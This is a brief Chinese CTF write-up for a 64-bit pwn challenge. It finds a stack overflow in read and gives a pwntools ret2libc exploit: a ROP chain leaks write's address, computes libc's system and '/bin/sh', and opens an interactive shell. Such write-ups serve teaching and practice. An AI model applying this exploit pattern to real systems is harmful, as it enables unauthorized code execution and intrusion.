解压之后有两个文件,其中一个是lib,checksec后发现没有栈保护,wo,好想知道该怎么做了
拖进IDA看一下哪里可以溢出
read函数可以溢出
然后根据偏移量把system函数和/bin/sh在内存的位置提取出来
同样采取rop代码,注意64位的传参数顺序哦
上脚本
#代码主体
write_got=bin.got['write']
write_plt=bin.plt['write']
rdi=0x00000000004006b3
rsi=0x00000000004006b1
payload='a'*(0x80+0x08)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(0x4005E6)
cn.recvline()
cn.sendline(payload)
write_addr=u64(cn.recv(8))
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
sh_addr=write_addr-libc.symbols['write']+libc.search('/bin/sh').next()
payload2='a'*(0x80+0x08)+p64(rdi)+p64(sh_addr)+p64(system_addr)
cn.recvline()
cn.sendline(payload2)
cn.interactive()